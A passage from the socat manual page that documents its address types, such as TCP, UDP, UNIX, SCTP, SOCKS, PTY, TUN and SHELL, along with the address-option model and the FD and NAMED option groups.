Creates a socketpair and uses it for reading and writing. It works as an echo, because everything written to it appeares immediately as read data. The default socket type is datagram, so it keeps packet boundaries.
Option groups: FD
Useful options: socktype
See also: unnamed pipe

POSIXMQ-READ:/<mqueue>
Opens the specified POSIX message queue and reads messages (packets). It keeps the boundaries.
This is a read-only address, see options -u and -U and dual addresses.
Socat provides this address type only on Linux because POSIX MQ is based on UNIX filedescriptors there.
This feature is new in version 1.8.0.0 and might change in the future, therefore it is experimental.
Useful options: posixmq-priority, unlink-early, unlink-close

POSIXMQ-RECEIVE:/<mqueue>

POSIXMQ-RECV:/<mqueue>
Opens the specified POSIX message queue and reads one message (packet).
This is a read-only address. See POSIXMQ-READ for more info.
Example: POSIX MQ recv with fork
This feature is experimental.
Useful options: posixmq-priority, fork, max-children, unlink-early, unlink-close

POSIXMQ-SEND:/<mqueue>
Opens the specified POSIX message queue and writes messages (packets).
This is a write-only address. See POSIXMQ-READ for more info.
(Example)
This feature is experimental.
Useful options: posixmq-priority, fork, max-children, unlink-early, unlink-close

POSIXMQ-BIDIRECTIONAL:/mqueue
Opens the specified POSIX message queue and writes and reads messages (packet). This is probably rarely useful but has been implemented for functional completeness.

PROXY:<proxy>:<hostname>:<port>
Connects to an HTTP proxy server on port 8080 using TCP/IP version 4 or 6 depending on address specification, name resolution, or option pf, and sends a CONNECT request for hostname:port. If the proxy grants access and succeeds to connect to the target, data transfer between socat and the target can start (example). Note that the traffic need not be HTTP but can be an arbitrary protocol.
Option groups: FD,SOCKET,IP4,IP6,TCP,HTTP,RETRY
Useful options: proxyport, ignorecr, proxyauth, resolve, crnl, bind, connect-timeout, mss, sourceport, retry
See also: SOCKS, TCP

PTY
Generates a pseudo terminal (pty) and uses its master side. Another process may open the pty’s slave side using it like a serial line or terminal. (example). If both the ptmx and the openpty mechanisms are available, ptmx is used (POSIX).
Option groups: FD,NAMED,PTY,TERMIOS
Useful options: link, openpty, wait-slave, mode, user, group
See also: UNIX-LISTEN, PIPE, EXEC, SYSTEM, SHELL

READLINE
lines (example).
You can use STDIO instead.

SCTP-CONNECT:<host>:<port>
Establishes an SCTP stream connection to the specified <host> [IP address] and <port> [TCP service] using IP version 4 or 6 depending on address specification, name resolution, or option pf.
Option groups: FD,SOCKET,IP4,IP6,SCTP,CHILD,RETRY
Useful options: bind, pf, connect-timeout, tos, mtudiscover, sctp-maxseg, sctp-nodelay, nonblock, sourceport, retry, readbytes
See also: SCTP4-CONNECT, SCTP6-CONNECT, SCTP-LISTEN, TCP-CONNECT

SCTP4-CONNECT:<host>:<port>
Like SCTP-CONNECT, but only supports IPv4 protocol.
Option groups: FD,SOCKET,IP4,SCTP,CHILD,RETRY

SCTP6-CONNECT:<host>:<port>
Like SCTP-CONNECT, but only supports IPv6 protocol.
Option groups: FD,SOCKET,IP6,SCTP,CHILD,RETRY

SCTP-LISTEN:<port>
Listens on <port> [TCP service] and accepts an SCTP connection. The IP version is 4 or the one specified with address option pf, socat option (-4, -6), or environment variable SOCAT_DEFAULT_LISTEN_IP. Note that opening this address usually blocks until a client connects.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP4,IP6,SCTP,RETRY
Useful options: crnl, fork, bind, range, tcpwrap, pf, max-children, backlog, accept-timeout, sctp-maxseg, sctp-nodelay, su, reuseaddr, retry
See also: SCTP4-LISTEN, SCTP6-LISTEN, TCP-LISTEN, SCTP-CONNECT

SCTP4-LISTEN:<port>
Like SCTP-LISTEN, but only supports IPv4 protocol.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP4,SCTP,RETRY

SCTP6-LISTEN:<port>
Like SCTP-LISTEN, but only supports IPv6 protocol.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP6,SCTP,RETRY

SOCKET-CONNECT:<domain>:<protocol>:<remote-address>
Creates a stream socket using the first and second given socket parameters and SOCK_STREAM`` (see man socket(2)) and connects to the remote-address. The two socket parameters have to be specified by int numbers. Consult your OS documentation and include files to find the appropriate values. The remote-address must be the data representation of a sockaddr structure without sa_family and (BSD) sa_len components.
Please note that you can - beyond the options of the specified groups - also use options of higher level protocols when you apply socat option -g.
Option groups: FD,SOCKET,CHILD,RETRY
Useful options: bind, setsockopt,
See also: TCP, UDP-CONNECT, UNIX-CONNECT, SOCKET-LISTEN, SOCKET-SENDTO

SOCKET-DATAGRAM:<domain>:<type>:<protocol>:<remote-address>
Creates a datagram socket using the first three given socket parameters (see man socket(2)) and sends outgoing data to the remote-address. The three socket parameters have to be specified by int numbers. Consult your OS documentation and include files to find the appropriate values. The remote-address must be the data representation of a sockaddr structure without sa_family and (BSD) sa_len components.
Please note that you can - beyond the options of the specified groups - also use options of higher level protocols when you apply socat option -g.
Option groups: FD,SOCKET,RANGE
Useful options: bind, range, setsockopt,
See also: UDP-DATAGRAM, IP-DATAGRAM, SOCKET-SENDTO, SOCKET-RECV, SOCKET-RECVFROM

SOCKET-LISTEN:<domain>:<protocol>:<local-address>
Creates a stream socket using the first and second given socket parameters and SOCK_STREAM`` (see man socket(2)) and waits for incoming connections on local-address. The two socket parameters have to be specified by int numbers. Consult your OS documentation and include files to find the appropriate values. The local-address must be the data representation of a sockaddr structure without sa_family and (BSD) sa_len components.
Please note that you can - beyond the options of the specified groups - also use options of higher level protocols when you apply socat option -g.
Option groups: FD,SOCKET,LISTEN,RANGE,CHILD,RETRY
Useful options: setsockopt, setsockopt-listen,
See also: TCP, UDP-CONNECT, UNIX-CONNECT, SOCKET-LISTEN, SOCKET-SENDTO, SOCKET-SENDTO

SOCKET-RECV:<domain>:<type>:<protocol>:<local-address>
Creates a socket using the three given socket parameters (see man socket(2)) and binds it to <local-address>. Receives arriving data. The three parameters have to be specified by int numbers. Consult your OS documentation and include files to find the appropriate values. The local-address must be the data representation of a sockaddr structure without sa_family and (BSD) sa_len components.
Option groups: FD,SOCKET,RANGE
Useful options: range, setsockopt, setsockopt-listen
See also: UDP-RECV, IP-RECV, UNIX-RECV, SOCKET-DATAGRAM, SOCKET-SENDTO, SOCKET-RECVFROM

SOCKET-RECVFROM:<domain>:<type>:<protocol>:<local-address>
Creates a socket using the three given socket parameters (see man socket(2)) and binds it to <local-address>. Receives arriving data and sends replies back to the sender. The first three parameters have to be specified as int numbers. Consult your OS documentation and include files to find the appropriate values. The local-address must be the data representation of a sockaddr structure without sa_family and (BSD) sa_len components.
See the note about RECVFROM addresses.
Option groups: FD,SOCKET,CHILD,RANGE
Useful options: fork, range, setsockopt, setsockopt-listen
See also: UDP-RECVFROM, IP-RECVFROM, UNIX-RECVFROM, SOCKET-DATAGRAM, SOCKET-SENDTO, SOCKET-RECV

SOCKET-SENDTO:<domain>:<type>:<protocol>:<remote-address>
Creates a socket using the three given socket parameters (see man socket(2)). Sends outgoing data to the given address and receives replies. The three parameters have to be specified as int numbers. Consult your OS documentation and include files to find the appropriate values. The remote-address must be the data representation of a sockaddr structure without sa_family and (BSD) sa_len components.
Option groups: FD,SOCKET
Useful options: bind, setsockopt, setsockopt-listen
See also: UDP-SENDTO, IP-SENDTO, UNIX-SENDTO, SOCKET-DATAGRAM, SOCKET-RECV SOCKET-RECVFROM

ACCEPT-FD:<fdnum>
Expects a listening socket in <fdnum> and accepts one or (with option fork) more connections. This address type is useful under systemd control with “inetd mode”.
Example: (example)
Option groups: FD, SOCKET, TCP, CHILD, RETRY
Useful options: fork, range, sourceport, lowport, tcpwrap

SOCKS4:<socks-server>:<host>:<port>
Connects via <socks-server> [IP address] to <host> [IPv4 address] on <port> [TCP service], using socks version 4 protocol over IP version 4 or 6 depending on address specification, name resolution, or option pf (example).
Option groups: FD,SOCKET,IP4,IP6,TCP,SOCKS4,RETRY
Useful options: socksuser, socksport, sourceport, pf, retry
See also: SOCKS5, SOCKS4A, PROXY, TCP

SOCKS4A:<socks-server>:<host>:<port>
like SOCKS4, but uses socks protocol version 4a, thus leaving host name resolution to the socks server.
Option groups: FD,SOCKET,IP4,IP6,TCP,SOCKS4,RETRY

SOCKS5-CONNECT:<socks-server>:<socks-port>:<target-host>:<target-port>
Connects via <socks-server> [IP address] to <target-host> [IPv4 address] on <target-port> [TCP service], using socks version 5 protocol over TCP. Currently no authentication mechanism is provided.
This address type is experimental.
Option groups: FD, SOCKET, IP4, IP6, TCP, CHILD, RETRY
Useful options: sourceport, pf, retry
See also: SOCKS5-LISTEN, SOCKS4, SOCKS4A, PROXY, TCP

SOCKS5-LISTEN:<socks-server>:<socks-port>:<listen-host>:<listen-port>
Connects to <socks-server> [IP address] using socks version 5 protocol over TCP and makes it listen for incoming connections on <listen-port> [TCP service], binding to <-listen-host> [IPv4 address] Currently not authentication mechanism is provided. This address type is experimental. Option groups: FD, SOCKET, IP4, IP6, TCP, CHILD, RETRY
Useful options: sourceport, pf, retry
See also: SOCKS5-CONNECT,

STDERR
Uses file descriptor 2.
This is a write-only address, see options -u and -U, and dual addresses.
Option groups: FD (TERMIOS,REG,SOCKET)
See also: FD

STDIN
Uses file descriptor 0.
This is a read-only address, see options -u and -U, and dual addresses.
Option groups: FD (TERMIOS,REG,SOCKET)
Useful options: readbytes
See also: FD

STDIO
Uses file descriptor 0 for reading, and 1 for writing.
Option groups: FD (TERMIOS,REG,SOCKET)
Useful options: readbytes
See also: FD

STDOUT
Uses file descriptor 1.
This is a write-only address, see options -u and -U, and dual addresses.
Option groups: FD (TERMIOS,REG,SOCKET)
See also: FD

SHELL:<shell-command>
Forks a sub process that establishes communication with its parent process and invokes the specified program with the configured shell ($SHELL). Note that <shell-command> [string] must not contain ’,’ or “!!”, and that shell meta characters may have to be protected. After successful program start, socatwrites data to stdin of the process and reads from its stdout.
Option groups: FD,SOCKET,EXEC,FORK,TERMIOS
Useful options: path, fdin, fdout, chroot, su, su-d, nofork, socktype, pty, stderr, ctty, setsid, pipes, umask, sigint, sigquit
See also: EXEC, SYSTEM

SYSTEM:<shell-command>
Forks a sub process that establishes communication with its parent process and invokes the specified program with system() . Please note that <shell-command> [string] must not contain ’,’ or “!!”, and that shell meta characters may have to be protected. After successful program start, socatwrites data to stdin of the process and reads from its stdout.
Option groups: FD,SOCKET,EXEC,FORK,TERMIOS
Useful options: path, fdin, fdout, chroot, su, su-d, nofork, socktype, pty, stderr, ctty, setsid, pipes, umask, sigint, sigquit, netns
See also: EXEC, SHELL

TCP:<host>:<port>
Connects to <port> [TCP service] on <host> [IP address] using TCP/IP version 4 or 6 depending on address specification, name resolution, or option pf.
Option groups: FD,SOCKET,IP4,IP6,TCP,RETRY
Useful options: connect-timeout, retry, sourceport, netns, crnl, bind, pf, tos, mtudiscover, mss, nodelay, nonblock, readbytes
See also: TCP4, TCP6, TCP-LISTEN, UDP, SCTP-CONNECT, UNIX-CONNECT

TCP4:<host>:<port>
Like TCP, but only supports IPv4 protocol (example).
Option groups: FD,SOCKET,IP4,TCP,RETRY

TCP6:<host>:<port>
Like TCP, but only supports IPv6 protocol.
Option groups: FD,SOCKET,IP6,TCP,RETRY

TCP-LISTEN:<port>
Listens on <port> [TCP service] and accepts a TCP/IP connection. The IP version is 4 or the one specified with address option pf, socat option (-4, -6), or environment variable SOCAT_DEFAULT_LISTEN_IP. Note that opening this address usually blocks until a client connects.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP4,IP6,TCP,RETRY
Useful options: crnl, fork, bind, range, tcpwrap, pf, max-children, backlog, accept-timeout, mss, su, reuseaddr, retry, cool-write
See also: TCP4-LISTEN, TCP6-LISTEN, UDP-LISTEN, SCTP-LISTEN, UNIX-LISTEN, OPENSSL-LISTEN, TCP-CONNECT

TCP4-LISTEN:<port>
Like TCP-LISTEN, but only supports IPv4 protocol (example).
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP4,TCP,RETRY

TCP6-LISTEN:<port>
Like TCP-LISTEN, but only supports IPv6 protocol.
Additional useful option: ipv6only
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP6,TCP,RETRY

TUN[:<if-addr>/<bits>]
Creates a Linux TUN/TAP device and optionally assignes it the address and netmask given by the parameters. The resulting network interface is almost ready for use by other processes; socat serves its “wire side”. This address requires read and write access to the tunnel cloning device, usually /dev/net/tun , as well as permission to set some ioctl()s``. Option iff-up is required to immediately activate the interface!
Note: If you intend to transfer packets between two Socat “wire sides” you need a protocol that keeps packet boundaries, e.g.UDP; TCP might work with option nodelay.
Option groups: FD,NAMED,OPEN,TUN
Useful options: iff-up, tun-device, tun-name, tun-type, iff-no-pi, netns
See also: ip-recv

UDP:<host>:<port>
Connects to <port> [UDP service] on <host> [IP address] using UDP/IP version 4 or 6 depending on address specification, name resolution, or option pf.
Please note that, due to UDP protocol properties, no real connection is established; data has to be sent for `connecting’ to the server, and no end-of-file condition can be transported.
Option groups: FD,SOCKET,IP4,IP6
Useful options: ttl, tos, bind, sourceport, pf
See also: UDP4, UDP6, UDP-LISTEN, TCP, IP

UDP4:<host>:<port>
Like UDP, but only supports IPv4 protocol.
Option groups: FD,SOCKET,IP4

UDP6:<host>:<port>
Like UDP, but only supports IPv6 protocol.
Option groups: FD,SOCKET,IP6

UDP-DATAGRAM:<address>:<port>
Sends outgoing data to the specified address which may in particular be a broadcast or multicast address. Packets arriving on the local socket are checked for the correct remote port only when option sourceport is used (this is a change with Socat version 1.7.4.0) and if their source addresses match RANGE or TCPWRAP options. This address type can for example be used for implementing symmetric or asymmetric broadcast or multicast communications.
Option groups: FD,SOCKET,IP4,IP6,RANGE
Useful options: bind, range, tcpwrap, broadcast, ip-multicast-loop, ip-multicast-ttl, ip-multicast-if, ip-add-membership, ip-add-source-membership, ipv6-join-group, ipv6-join-source-group, ttl, tos, sourceport, pf
See also: UDP4-DATAGRAM, UDP6-DATAGRAM, UDP-SENDTO, UDP-RECVFROM, UDP-RECV, UDP-CONNECT, UDP-LISTEN, IP-DATAGRAM

UDP4-DATAGRAM:<address>:<port>
Like UDP-DATAGRAM, but only supports IPv4 protocol (example1, example2).
Option groups: FD,SOCKET,IP4, RANGE

UDP6-DATAGRAM:<address>:<port>
Like UDP-DATAGRAM, but only supports IPv6 protocol.
Option groups: FD,SOCKET,IP6,RANGE

UDP-LISTEN:<port>
Waits for a UDP/IP packet arriving on <port> [UDP service] and `connects’ back to sender. The accepted IP version is 4 or the one specified with option pf. Please note that, due to UDP protocol properties, no real connection is established; data has to arrive from the peer first, and no end-of-file condition can be transported. Note that opening this address usually blocks until a client connects.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP4,IP6
Useful options: fork, bind, range, pf
See also: UDP, UDP4-LISTEN, UDP6-LISTEN, TCP-LISTEN

UDP4-LISTEN:<port>
Like UDP-LISTEN, but only support IPv4 protocol.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP4

UDP6-LISTEN:<port>
Like UDP-LISTEN, but only support IPv6 protocol.
Option groups: FD,SOCKET,LISTEN,CHILD,RANGE,IP6

UDP-SENDTO:<host>:<port>
Communicates with the specified peer socket, defined by <port> [UDP service] on <host> [IP address], using UDP/IP version 4 or 6 depending on address specification, name resolution, or option pf. It sends packets to and receives packets from that peer socket only. This address effectively implements a datagram client. It works well with socat UDP-RECVFROM and UDP-RECV address peers.
Option groups: FD,SOCKET,IP4,IP6
Useful options: ttl, tos, bind, sourceport, pf
See also: UDP4-SENDTO, UDP6-SENDTO, UDP-RECVFROM, UDP-RECV, UDP-CONNECT, UDP-LISTEN, IP-SENDTO

UDP4-SENDTO:<host>:<port>
Like UDP-SENDTO, but only supports IPv4 protocol.
Option groups: FD,SOCKET,IP4

UDP6-SENDTO:<host>:<port>
Like UDP-SENDTO, but only supports IPv6 protocol.
Option groups: FD,SOCKET,IP6

UDP-RECVFROM:<port>
Creates a UDP socket on <port> [UDP service] using UDP/IP version 4 or 6 depending on option pf. It receives one packet from an unspecified peer and may send one or more answer packets to that peer. This mode is particularly useful with fork option where each arriving packet - from arbitrary peers - is handled by its own sub process. This allows a behaviour similar to typical UDP based servers like ntpd or named. This address works well with socat UDP-SENDTO address peers.
Note: When the second address fails before entering the transfer loop the packet is dropped. Use option retry or forever on the second address to avoid data loss.
Option groups: FD,SOCKET,IP4,IP6,CHILD,RANGE
Useful options: fork, ttl, tos, bind, sourceport, pf
See also: UDP4-RECVFROM, UDP6-RECVFROM, UDP-SENDTO, UDP-RECV, UDP-CONNECT, UDP-LISTEN, IP-RECVFROM, UNIX-RECVFROM

UDP4-RECVFROM:<port>
Like UDP-RECVFROM, but only supports IPv4 protocol.
Option groups: FD,SOCKET,IP4,CHILD,RANGE

UDP6-RECVFROM:<port>
Like UDP-RECVFROM, but only supports IPv6 protocol.
Option groups: FD,SOCKET,IP6,CHILD,RANGE

UDP-RECV:<port>
Creates a UDP socket on <port> [UDP service] using UDP/IP version 4 or 6 depending on option pf. It receives packets from multiple unspecified peers and merges the data. No replies are possible. It works well with, e.g., socat UDP-SENDTO address peers; it behaves similar to a syslog server.
This is a read-only address, see options -u and -U, and dual addresses.
Note: if you need the fork option, use UDP-RECVFROM in unidirectional mode (with option -u) instead.
Option groups: FD,SOCKET,IP4,IP6,RANGE
Useful options: pf, bind, sourceport, ttl, tos
See also: UDP4-RECV, UDP6-RECV, UDP-SENDTO, UDP-RECVFROM, UDP-CONNECT, UDP-LISTEN, IP-RECV, UNIX-RECV

UDP4-RECV:<port>
Like UDP-RECV, but only supports IPv4 protocol.
Option groups: FD,SOCKET,IP4,RANGE

UDP6-RECV:<port>
Like UDP-RECV, but only supports IPv6 protocol.
Option groups: FD,SOCKET,IP6,RANGE

UDPLITE-CONNECT:<host>:<port>

UDPLITE4-CONNECT:<host>:<port>

UDPLITE6-CONNECT:<host>:<port>

UDPLITE-DATAGRAM:<address>:<port>

UDPLITE4-DATAGRAM:<address>:<port>

UDPLITE6-DATAGRAM:<address>:<port>

UDPLITE-LISTEN:<port>

UDPLITE4-LISTEN:<port>

UDPLITE6-LISTEN:<port>

UDPLITE-SENDTO:<host>:<port>

UDPLITE4-SENDTO:<host>:<port>

UDPLITE6-SENDTO:<host>:<port>

UDPLITE-RECVFROM:<port>

UDPLITE4-RECVFROM:<port>

UDPLITE6-RECVFROM:<port>

UDPLITE-RECV:<port>

UDPLITE4-RECV:<port>

UDPLITE6-RECV:<port>
The UDPLITE addresses are almost identical to the related UDP addresses but they use UDP-Lite protocol and have the additional UDPLITE option group.

UNIX-CONNECT:<filename>
Connects to <filename> assuming it is a UNIX domain socket. If <filename> does not exist, this is an error; if <filename> is not a UNIX domain socket, this is an error; if <filename> is a UNIX domain socket, but no process is listening, this is an error.
Option groups: FD,SOCKET,NAMED,RETRY,UNIX
) Useful options: bind
See also: UNIX-LISTEN, UNIX-SENDTO, TCP

UNIX-LISTEN:<filename>
Listens on <filename> using a UNIX domain stream socket and accepts a connection. If <filename> exists and is not a socket, this is an error. If <filename> exists and is a UNIX domain socket, binding to the address fails (use option unlink-early!). Note that opening this address usually blocks until a client connects. Beginning with socat version 1.4.3, the file system entry is removed when this address is closed (but see option unlink-close) (example).
Option groups: FD,SOCKET,NAMED,LISTEN,CHILD,RETRY,UNIX
Useful options: fork, umask, mode, user, group, unlink-early
See also: UNIX-CONNECT, UNIX-RECVFROM, UNIX-RECV, TCP-LISTEN

UNIX-SENDTO:<filename>
Communicates with the specified peer socket, defined by [<filename>] assuming it is a UNIX domain datagram socket. It sends packets to and receives packets from that peer socket only. Please note that it might be necessary to bind the local socket to an address (e.g. /tmp/sock1``, which must not exist before). This address type works well with socat UNIX-RECVFROM and UNIX-RECV address peers.
Option groups: FD,SOCKET,NAMED,UNIX
Useful options: bind
See also: UNIX-RECVFROM, UNIX-RECV, UNIX-CONNECT, UDP-SENDTO, IP-SENDTO

UNIX-RECVFROM:<filename>
Creates a UNIX domain datagram socket [<filename>]. Receives one packet and may send one or more answer packets to that peer. This mode is particularly useful with fork option where each arriving packet - from arbitrary peers - is handled by its own sub process. This address works well with socat UNIX-SENDTO address peers.
Option groups: FD,SOCKET,NAMED,CHILD,UNIX
See the note about RECVFROM addresses.
Useful options: fork
umask
See also: UNIX-SENDTO, UNIX-RECV, UNIX-LISTEN, UDP-RECVFROM, IP-RECVFROM

UNIX-RECV:<filename>
Creates a UNIX domain datagram socket [<filename>]. Receives packets from multiple unspecified peers and merges the data. No replies are possible, this is a read-only address, see options -u and -U, and dual addresses. It can be, e.g., addressed by socat UNIX-SENDTO address peers. It behaves similar to a syslog server.
Option groups: FD,SOCKET,NAMED,UNIX
Useful options: umask
See also: UNIX-SENDTO, UNIX-RECVFROM, UNIX-LISTEN, UDP-RECV, IP-RECV

UNIX-CLIENT:<filename>
Communicates with the specified peer socket, defined by [<filename>] assuming it is a UNIX domain socket. It first tries to connect and, if that fails, assumes it is a datagram socket, thus supporting both types.
Option groups: FD,SOCKET,NAMED,UNIX
Useful options: bind
See also: UNIX-CONNECT, UNIX-SENDTO, GOPEN

VSOCK-CONNECT:<cid>:<port>
Establishes a VSOCK stream connection to the specified <cid> [VSOCK cid] and <port> [VSOCK port].
Option groups: FD,SOCKET,CHILD,RETRY
Useful options: bind, connect-timeout, retry, readbytes
See also: VSOCK-LISTEN,

VSOCK-LISTEN:<port>
Listens on <port> [VSOCK port] and accepts a VSOCK connection. Note that opening this address usually blocks until a client connects.
Option groups: FD,SOCKET,LISTEN,CHILD,RETRY
Useful options: fork, bind, max-children, backlog, su, reuseaddr, retry
See also: VSOCK-CONNECT

ABSTRACT-CONNECT:<string>

ABSTRACT-LISTEN:<string>

ABSTRACT-SENDTO:<string>

ABSTRACT-RECVFROM:<string>

ABSTRACT-RECV:<string>

ABSTRACT-CLIENT:<string>
The ABSTRACT addresses are almost identical to the related UNIX addresses except that they do not address file system based sockets but an alternate UNIX domain address space. To achieve this the socket address strings are prefixed with “�” internally. This feature is available (only?) on Linux. Option groups are the same as with the related UNIX addresses, except that the ABSTRACT addresses are not member of the NAMED group.
Useful options: netns

ADDRESS OPTIONS

Address options can be applied to address specifications to influence the process of opening the addresses and the properties of the resulting data channels.

For technical reasons not every option can be applied to every address type; e.g., applying a socket option to a regular file will fail. To catch most useless combinations as early as in the open phase, the concept of option groups was introduced. Each option belongs to one or more option groups. Options can be used only with address types that support at least one of their option groups (but see option -g).

Address options have data types that their values must conform to. Every address option consists of just a keyword or a keyword followed by “=value”, where value must conform to the options type. Some address options manipulate parameters of system calls; e.g., option sync sets the O_SYNC flag with the open() call. Other options cause a system or library call; e.g., with option `ttl=value’ the setsockopt(fd, SOL_IP, IP_TTL, value, sizeof(int)) call is applied. Other options set internal socat variables that are used during data transfer; e.g., `crnl’ causes explicit character conversions. A few options have more complex implementations; e.g., su-d (substuser-delayed) inquires some user and group infos, stores them, and applies them later after a possible chroot() call.

If multiple options are given to an address, their sequence in the address specification has (almost) no effect on the sequence of their execution/application. Instead, socat has built in an option phase model that tries to bring the options in a useful order. Some options exist in different forms (e.g., unlink, unlink-early, unlink-late) to control the time of their execution.

If the same option is specified more than once within one address specification, with equal or different values, the effect depends on the kind of option. Options resulting in function calls like setsockopt() cause multiple invocations. With options that set parameters for a required call like open() or set internal flags, the value of the last option occurrence is effective.

The existence or semantics of many options are system dependent. Socat usually does NOT try to emulate missing libc or kernel features, it just provides an interface to the underlying system. So, if an operating system lacks a feature, the related option is simply not available on this platform.

The following paragraphs introduce just the more common address options. For a more comprehensive reference and to find information about canonical option names, alias names, option phases, and platforms see file xio.help.

FD option group

This option group contains options that are applied to a UN*X style file descriptor, no matter how it was generated. Because all current socat address types are file descriptor based, these options may be applied to any address.
Note: Some of these options are also member of another option group, that provides another, non-fd based mechanism. For these options, it depends on the actual address type and its option groups which mechanism is used. The second, non-fd based mechanism is prioritized.

cloexec[=<bool>]
Sets the FD_CLOEXEC flag with the fcntl() system call to value <bool>. If set, the file descriptor is closed on exec() family function calls. Socat internally handles this flag for the fds it controls, so in most cases there will be no need to apply this option.

setlk[=<bool>]
Tries to set a discretionary write lock to the whole file using the fcntl(fd, F_SETLK, …) system call. If the file is already locked, this call results in an error. On Linux, when the file permissions for group are “S” (g-x,g+s), and the file system is locally mounted with the “mand” option, the lock is mandatory, i.e. prevents other processes from opening the file.

setlkw[=<bool>]
Tries to set a discretionary waiting write lock to the whole file using the fcntl(fd, F_SETLKW, ...) system call. If the file is already locked, this call blocks. See option setlk for information about making this lock mandatory.

setlk-rd[=<bool>]
Tries to set a discretionary read lock to the whole file using the fcntl(fd, F_SETLK, …) system call. If the file is already write locked, this call results in an error. See option setlk for information about making this lock mandatory.

setlkw-rd[=<bool>]
Tries to set a discretionary waiting read lock to the whole file using the fcntl(fd, F_SETLKW, ...) system call. If the file is already write locked, this call blocks. See option setlk for information about making this lock mandatory.

flock-ex[=<bool>]
Tries to set a blocking exclusive advisory lock to the file using the flock(fd, LOCK_EX) system call. Socat hangs in this call if the file is locked by another process.

flock-ex-nb[=<bool>]
Tries to set a nonblocking exclusive advisory lock to the file using the flock(fd, LOCK_EX|LOCK_NB) system call. If the file is already locked, this option results in an error.

flock-sh[=<bool>]
Tries to set a blocking shared advisory lock to the file using the flock(fd, LOCK_SH) system call. Socat hangs in this call if the file is locked by another process.

flock-sh-nb[=<bool>]
Tries to set a nonblocking shared advisory lock to the file using the flock(fd, LOCK_SH|LOCK_NB) system call. If the file is already locked, this option results in an error.

lock[=<bool>]
Sets a blocking lock on the file. Uses the setlk or flock mechanism depending on availability on the particular platform. If both are available, the POSIX variant (setlkw) is used.

user=<user>
Sets the <user> (owner) of the stream. If the address is member of the NAMED option group, socatuses the chown() system call after opening the file or binding to the UNIX domain socket (race condition!). Without filesystem entry, socatsets the user of the stream using the fchown() system call. These calls might require root privilege.

user-late=<user>
Sets the owner of the fd to <user> with the fchown() system call after opening or connecting the channel. This is useful only on file system entries.

group=<group>
Sets the <group> of the stream. If the address is member of the NAMED option group, socatuses the chown() system call after opening the file or binding to the UNIX domain socket (race condition!). Without filesystem entry, socatsets the group of the stream with the fchown() system call. These calls might require group membership or root privilege.

group-late=<group>
Sets the group of the fd to <group> with the fchown() system call after opening or connecting the channel. This is useful only on file system entries.

mode=<mode>
Sets the <mode> [mode_t] (permissions) of the stream. If the address is member of the NAMED option group and uses the open() or creat() call, the mode is applied with these. If the address is member of the NAMED option group without using these system calls, socatuses the chmod() system call after opening the filesystem entry or binding to the UNIX domain socket (race condition!). Otherwise, socat sets the mode of the stream using fchmod() . These calls might require ownership or root privilege.

perm-late=<mode>
Sets the permissions of the fd to value <mode> [mode_t] using the fchmod() system call after opening or connecting the channel. This is useful only on file system entries.

append[=<bool>]
Always writes data to the actual end of file. If the address is member of the OPEN option group, socatuses the O_APPEND flag with the open() system call (example). Otherwise, socatapplies the fcntl(fd, F_SETFL, O_APPEND) call.

nonblock[=<bool>]
Tries to open or use file in nonblocking mode. Its only effects are that the connect() call of TCP addresses does not block, and that opening a named pipe for reading does not block. If the address is member of the OPEN option group, socatuses the O_NONBLOCK flag with the open() system call. Otherwise, socatapplies the fcntl(fd, F_SETFL, O_NONBLOCK) call.

binary[=<bool>]
Opens the file in binary mode to avoid implicit line terminator conversions (Cygwin).

text[=<bool>]
Opens the file in text mode to force implicit line terminator conversions (Cygwin).

noinherit[=<bool>]
Does not keep this file open in a spawned process (Cygwin).

cool-write[=<bool>]
Takes it easy when write fails with EPIPE or ECONNRESET and logs the message with noticelevel instead oferror. This prevents the log file from being filled with useless error messages when socat is used as a high volume server or proxy where clients often abort the connection. Use this option only with option fork because otherwise it might cause socat to exit with code 0 even on failure.
This option is deprecated, consider using option children-shutup instead.

end-close[=<bool>]
Changes the (address dependent) method of ending a connection to just close the file descriptors. This is useful when the connection is to be reused by or shared with other processes (example).
Normally, socket connections will be ended with shutdown(2)`` which terminates the socket even if it is shared by multiple processes. close(2)`` "unlinks" the socket from the process but keeps it active as long as there are still links from other processes.
Similarly, when an address of type EXEC or SYSTEM is ended, socat usually will explicitly kill the sub process. With this option, it will just close the file descriptors.

shut-none[=<bool>]
Changes the (address dependent) method of shutting down the write part of a connection to not do anything.

shut-down[=<bool>]
Changes the (address dependent) method of shutting down the write part of a connection to shutdown(fd, SHUT_WR). Is only useful with sockets.

shut-close[=<bool>]
Changes the (address dependent) method of shutting down the write part of a connection to close(fd).

shut-null[=<bool>]
When one address indicates EOF, socat will send a zero sized packet to the write channel of the other address to transfer the EOF condition. This is useful with UDP and other datagram protocols. Has been tested against netcat and socat with option null-eof.

null-eof[=<bool>]
Normally socat will ignore empty (zero size payload) packets arriving on datagram sockets, so it survives port scans. With this option socat interprets empty datagram packets as EOF indicator (see shut-null).

ioctl-void=<request>
Calls ioctl()`` with the request value as second argument and NULL as third argument. This option allows utilizing ioctls that are not explicitly implemented in socat.

ioctl-int=<request>:<value>
Calls ioctl()`` with the request value as second argument and the integer value as third argument.

ioctl-intp=<request>:<value>
Calls ioctl()`` with the request value as second argument and a pointer to the integer value as third argument.

ioctl-bin=<request>:<value>
Calls ioctl()`` with the request value as second argument and a pointer to the given data value as third argument. This data must be specified in <dalan> form.

ioctl-string=<request>:<value>
Calls ioctl()`` with the request value as second argument and a pointer to the given string as third argument. <dalan> form.

NAMED option group

These options work on file system entries.
Please note that, with UNIX domain client addresses, this means the bind entry, not the target/peer entry.
See also options user, group, and mode.

user-early=<user>
Changes the <user> (owner) of the file system entry before accessing it, using the chown() system call. This call might require root privilege.

group-early=<group>
Changes the <group> of the file system entry before accessing it, using the chown() system call. This call might require group membership or root privilege.

perm-early=<mode>
Changes the <mode> [mode_t] of the file system entry before accessing it, using the chmod() system call. This call might require ownership or root privilege.

unlink-early[=<bool>]
Unlinks (removes) the file before opening it and even before applying user-early etc.

unlink[=<bool>]
Unlinks (removes) the file before accessing it, but after user-early etc.

unlink-late[=<bool>]
Unlinks (removes) the file after opening it to make it inaccessible for other processes after a short race condition.

